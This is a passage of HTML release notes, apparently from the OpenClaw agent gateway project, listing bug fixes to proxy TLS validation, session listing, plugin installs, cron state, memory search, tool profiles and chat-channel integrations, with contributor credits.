<p>Network proxy: preserve target TLS hostname validation for Node HTTPS requests routed through the managed HTTP proxy, so Discord-style CONNECT traffic no longer validates certificates against the local proxy host. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355182995" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74809" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74809/hovercard" href="https://github.com/openclaw/openclaw/issues/74809">#74809</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370848453" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76442" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76442/hovercard" href="https://github.com/openclaw/openclaw/pull/76442">#76442</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</p>
</li>
<li>
<p>Gateway/sessions: keep <code>sessions.list</code> rows lightweight by bounding title/preview hydration to transcript head/tail reads and caching manifest model-id normalization plus setup fallback metadata against the active plugin snapshot. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rolandrscheel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rolandrscheel">@rolandrscheel</a>.</p>
</li>
<li>
<p>Gateway/performance: cache per-run verbose-level session reads, skip a redundant <code>lsof</code> scan in <code>gateway --force</code> when no listener was killed, and make the Gateway startup benchmark print usage for <code>--help</code>.</p>
</li>
<li>
<p>Gateway/sessions: keep agent runtime metadata on lightweight <code>sessions.list</code> rows and skip per-row transcript usage fallback, display model inference, and plugin projection, avoiding identity loss and event-loop stalls in large session stores. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvinthebored/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvinthebored">@Marvinthebored</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/models: keep read-only <code>models.list</code> fallbacks on persisted/current metadata, configured rows, registry-compatible fallbacks, and static auth checks while preserving full-catalog image attachment capability checks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370624457" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76382" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76382/hovercard" href="https://github.com/openclaw/openclaw/issues/76382">#76382</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370567199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76360" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76360/hovercard" href="https://github.com/openclaw/openclaw/issues/76360">#76360</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365118757" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75707" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75707/hovercard" href="https://github.com/openclaw/openclaw/issues/75707">#75707</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/trojy13/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/trojy13">@trojy13</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RayWoo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RayWoo">@RayWoo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnathemaOfficial/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnathemaOfficial">@AnathemaOfficial</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvinthebored/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvinthebored">@Marvinthebored</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/plugins: reject missing plugin ids before config writes in <code>plugins enable</code> and <code>plugins disable</code> so a typo no longer persists a stale config entry. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343056975" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73554" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73554/hovercard" href="https://github.com/openclaw/openclaw/pull/73554">#73554</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>Agents/sessions: preserve delivered trailing assistant replies during session-file repair so Telegram/WebChat history is not rewritten to drop already-delivered responses. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370427059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76329" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76329/hovercard" href="https://github.com/openclaw/openclaw/issues/76329">#76329</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</p>
</li>
<li>
<p>Gateway/chat history: preserve oversized transcript turns as explicit omitted-message placeholders while avoiding large JSONL parse stalls. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvinthebored/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvinthebored">@Marvinthebored</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/doctor: load the configured memory-slot plugin when resolving memory diagnostics so bundled <code>memory-core</code> no longer triggers a false “no active memory plugin” warning on standalone <code>doctor</code> / <code>status</code> runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370574756" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76367" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76367/hovercard" href="https://github.com/openclaw/openclaw/issues/76367">#76367</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Gateway: preserve stack diagnostics when <code>chat.send</code> or agent attachment parsing/staging fails, improving image-send failure triage. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4228443758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63432" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63432/hovercard" href="https://github.com/openclaw/openclaw/issues/63432">#63432</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359396699" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75135" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75135/hovercard" href="https://github.com/openclaw/openclaw/pull/75135">#75135</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keen0206/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keen0206">@keen0206</a>.</p>
</li>
<li>
<p>Agents/idle-timeout: add a cost-runaway breaker to the outer embedded-run retry loop that halts further attempts after 5 consecutive idle timeouts without completed model progress, so a wedged provider can no longer fan paid model calls out across the same run; completed text or tool-call progress resets the breaker, but partial tool-argument token dribbles do not. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370289299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76293" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76293/hovercard" href="https://github.com/openclaw/openclaw/issues/76293">#76293</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ThePuma312/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ThePuma312">@ThePuma312</a>.</p>
</li>
<li>
<p>Heartbeats/Codex: align structured heartbeat prompts with actual <code>heartbeat_respond</code> tool availability, stop sending legacy <code>HEARTBEAT_OK</code> when the tool exists, and keep tool-disabled commitment check-ins on the legacy ack path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Agent runtimes: fail explicit plugin runtime selections honestly when the requested harness is unavailable instead of silently falling back to the embedded PI runtime. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Maintainer workflow: push prepared PR heads through GitHub's verified commit API by default and require an explicit override before git-protocol pushes can publish unsigned commits. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</p>
</li>
<li>
<p>Feishu: resolve setup/status probes through the selected/default account so multi-account configs with account-scoped app credentials show as configured and probeable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337409818" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72930" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72930/hovercard" href="https://github.com/openclaw/openclaw/issues/72930">#72930</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Gateway/responses: emit every client tool call from <code>/v1/responses</code> JSON and SSE responses when the agent invokes multiple client tools in a single turn, so multi-tool plans, graph orchestration calls, and similar batched flows no longer drop every call but the last. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4116186321" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52288" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52288/hovercard" href="https://github.com/openclaw/openclaw/issues/52288">#52288</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CharZhou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CharZhou">@CharZhou</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bonelli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bonelli">@bonelli</a>.</p>
</li>
<li>
<p>Gateway/agent: enforce <code>session.sendPolicy=deny</code> on gateway agent requests only when <code>deliver: true</code>, so non-delivery smoke checks and internal agent runs are no longer rejected with <code>send blocked by session policy</code> while outbound delivery remains gated. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341403030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73381" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73381/hovercard" href="https://github.com/openclaw/openclaw/issues/73381">#73381</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wenxu007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wenxu007">@wenxu007</a>.</p>
</li>
<li>
<p>Slack/reactions: treat missing no_reaction remove responses as idempotent success and route own-reaction cleanup through the remove helper, so concurrent cleanup no longer surfaces Slack race errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4105088415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50733" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50733/hovercard" href="https://github.com/openclaw/openclaw/issues/50733">#50733</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370345462" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76304" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76304/hovercard" href="https://github.com/openclaw/openclaw/pull/76304">#76304</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hollychou924/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hollychou924">@Hollychou924</a>.</p>
</li>
<li>
<p>Feishu: include media <code>file_key</code> and <code>image_key</code> values in inbound dedupe so reused message IDs still process distinct media attachments while true retries stay suppressed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357858578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75057" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75057/hovercard" href="https://github.com/openclaw/openclaw/issues/75057">#75057</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</p>
</li>
<li>
<p>Control UI/Gateway: avoid full session-list reloads for locally applied message-phase session updates, carry known session keys through transcript-file update events, and defer media provider listing when explicit generation model config is present. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369867512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76236" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76236/hovercard" href="https://github.com/openclaw/openclaw/issues/76236">#76236</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369693147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76203" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76203/hovercard" href="https://github.com/openclaw/openclaw/issues/76203">#76203</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369600766" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76188" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76188/hovercard" href="https://github.com/openclaw/openclaw/issues/76188">#76188</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369131982" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76107" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76107/hovercard" href="https://github.com/openclaw/openclaw/issues/76107">#76107</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369510539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76166" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76166/hovercard" href="https://github.com/openclaw/openclaw/issues/76166">#76166</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</p>
</li>
<li>
<p>Install/update: prune the obsolete <code>plugin-runtime-deps</code> state directory during packaged postinstall so upgrades from pre-2026.5.2 releases reclaim old bundled-plugin dependency caches without touching external plugin installs.</p>
</li>
<li>
<p>Auto-reply/queue: treat reset-triggered <code>/new</code> and <code>/reset</code> turns as interrupt runs across active-run queue handling, so steer/followup modes cannot delay a fresh session behind existing work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348103885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74093" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74093/hovercard" href="https://github.com/openclaw/openclaw/issues/74093">#74093</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348397494" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74144" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74144/hovercard" href="https://github.com/openclaw/openclaw/pull/74144">#74144</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruji9527/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruji9527">@ruji9527</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yelog/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yelog">@yelog</a>.</p>
</li>
<li>
<p>Cron: persist repaired startup runtime state back to <code>jobs-state.json</code> so a valid future <code>nextRunAtMs</code> with missing <code>updatedAtMs</code> no longer triggers repeated external health-check repairs after Gateway restart. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370927215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76461" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76461/hovercard" href="https://github.com/openclaw/openclaw/issues/76461">#76461</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Cron: preserve manual <code>cron.run</code> IDs in <code>cron.runs</code> history so manual run acknowledgements can be correlated with finished run records. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370150294" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76276" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76276/hovercard" href="https://github.com/openclaw/openclaw/issues/76276">#76276</a>.</p>
</li>
<li>
<p>CLI/devices: request <code>operator.admin</code> for <code>openclaw devices approve &lt;requestId&gt;</code> only when the exact pending device request would mint or inherit admin-scoped operator access, while keeping lower-scope approvals on the pairing scope.</p>
</li>
<li>
<p>Memory/embedding: broaden the embedding reindex retry classifier to include transient socket-layer errors (<code>fetch failed</code>, <code>ECONNRESET</code>, <code>socket hang up</code>, <code>UND_ERR_*</code>, <code>closed</code>) so memory reindex survives provider network hiccups instead of aborting mid-run. Related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162666762" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56815" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56815/hovercard" href="https://github.com/openclaw/openclaw/issues/56815">#56815</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4065430828" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44166" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44166/hovercard" href="https://github.com/openclaw/openclaw/issues/44166">#44166</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370365109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76311" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76311/hovercard" href="https://github.com/openclaw/openclaw/pull/76311">#76311</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/buyitsydney/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/buyitsydney">@buyitsydney</a>.</p>
</li>
<li>
<p>Memory/sessions: keep rotated and deleted transcripts (<code>.jsonl.reset.&lt;iso&gt;</code> / <code>.jsonl.deleted.&lt;iso&gt;</code>) searchable by indexing archive content, mapping archive hits back to live transcript stems, emitting transcript update events on archive rotation, and bypassing incremental delta thresholds for one-shot archive mutations while keeping backups and compaction checkpoints opaque. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4157084622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56131" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56131/hovercard" href="https://github.com/openclaw/openclaw/issues/56131">#56131</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/buyitsydney/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/buyitsydney">@buyitsydney</a>.</p>
</li>
<li>
<p>Memory/search: keep sqlite-vec optional in packaged installs and point missing-extension recovery at the valid <code>agents.defaults.memorySearch.store.vector.extensionPath</code> setting. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/willemsej/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/willemsej">@willemsej</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway: keep directly requested plugin tools invokable under restrictive tool profiles while preserving explicit deny lists and the HTTP safety deny list, preventing catalog/invoke mismatches that surface as "Tool not available". Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</p>
</li>
<li>
<p>Gateway/update: allow beta binaries to refresh gateway services when the config was last written by the matching stable release version, avoiding false newer-config downgrade blocks during beta channel updates.</p>
</li>
<li>
<p>Channels: keep Matrix and Mattermost bundled in the core package instead of advertising external npm installs before those channels are cut over. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Bonjour: disable LAN mDNS advertising after a repeated stuck-announcing recovery instead of repeatedly restarting ciao and saturating the Gateway event loop.</p>
</li>
<li>
<p>Channels/setup: label installable channel picker hints as remote npm installs and hide remote install hints for bundled plugins that already ship with OpenClaw.</p>
</li>
<li>
<p>CLI/update: refuse package updates launched from the active gateway process tree before stopping the managed Gateway service, avoiding self-terminated in-lane updates that leave old Gateway code running. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364875425" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75691" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75691/hovercard" href="https://github.com/openclaw/openclaw/issues/75691">#75691</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366736571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75819" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75819/hovercard" href="https://github.com/openclaw/openclaw/pull/75819">#75819</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>CLI/plugins: stop treating the non-plugin <code>auth</code> command root as a bundled plugin id, so restrictive <code>plugins.allow</code> configs no longer tell users to add stale <code>auth</code> plugin entries.</p>
</li>
<li>
<p>Doctor/plugins: update configured plugin installs whose stale manifests still declare channels without <code>channelConfigs</code>, so beta upgrades repair old Discord-style package payloads during <code>doctor --fix</code>.</p>
</li>
<li>
<p>Doctor/plugins: repair configured external plugin installs whose persisted install record points at a missing package directory, so upgrades reconcile phantom npm metadata before plugin runtime validation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Active Memory: keep non-empty <code>memory_search</code> results from being fast-failed as empty when debug telemetry reports zero hits.</p>
</li>
<li>
<p>Active Memory: preserve the target agent context when building embedded recall plugin tools so <code>memory_search</code> and <code>memory_get</code> stay available for explicit recall sessions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370503514" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76343" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76343/hovercard" href="https://github.com/openclaw/openclaw/issues/76343">#76343</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Countermarch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Countermarch">@Countermarch</a>.</p>
</li>
<li>
<p>Plugins/externalization: repair missing configured plugin installs from npm by default, reserve ClawHub downloads for explicit <code>clawhubSpec</code> metadata, and cover agent-runtime/env-selected plugin repair. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/install: allow official catalog-matched npm channel plugins such as Feishu to pass the trusted install scanner path while keeping spoofed package names blocked. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Tools/llm-task: keep JSON-only embedded model runs from tripping inherited tool allowlists when tools are intentionally disabled, while preserving runtime <code>toolsAllow</code> failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347559374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74019" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74019/hovercard" href="https://github.com/openclaw/openclaw/issues/74019">#74019</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Tools/profiles: make <code>tools.profile: "full"</code> grant all tools including optional plugin tools such as browser, so the full profile no longer silently drops plugin-provided tools that require an explicit allowlist entry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371092864" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76507" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76507/hovercard" href="https://github.com/openclaw/openclaw/issues/76507">#76507</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Feishu: keep timeout env parsing separate from the HTTP client wrapper so package security scans no longer report a false env-harvesting hit during install. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Upgrade/config: validate configured web-search providers and statically suppressed model/provider pairs against the active plugin set at config load, so stale plugin state fails loud before runtime fallback.</p>
</li>
<li>
<p>Status/update: resolve beta update-channel checks from the installed version when config still says <code>stable</code>, and let <code>status --deep</code> reuse live gateway channel credential state instead of warning on command-path-only token misses.</p>
</li>
<li>
<p>Doctor/plugins: preserve unmanaged third-party plugin <code>node_modules</code> during <code>doctor --fix</code>, while still pruning OpenClaw-managed runtime dependency caches.</p>
</li>
<li>
<p>Gateway/restart: add <code>openclaw gateway restart --force</code> and <code>--wait &lt;duration&gt;</code>, log active task run IDs before restart deferral timers, and report timeout restarts as explicit forced restarts.</p>
</li>
<li>
<p>Discord: persist slash-command deploy hashes across process restarts so unchanged command sets skip redeploy and avoid restart-loop 429s.</p>
</li>
<li>
<p>Providers/LM Studio: normalize binary <code>off</code>/<code>on</code> reasoning metadata from Gemma 4 and other local models to LM Studio's accepted OpenAI-compatible <code>reasoning_effort</code> values.</p>
</li>
<li>
<p>Plugins/externalization: keep official external install docs, update examples, and live Codex npm checks on default npm tags instead of <code>@beta</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/externalization: keep ACPX, Google Chat, and LINE publishable plugin dist trees out of the core npm package file list.</p>
</li>
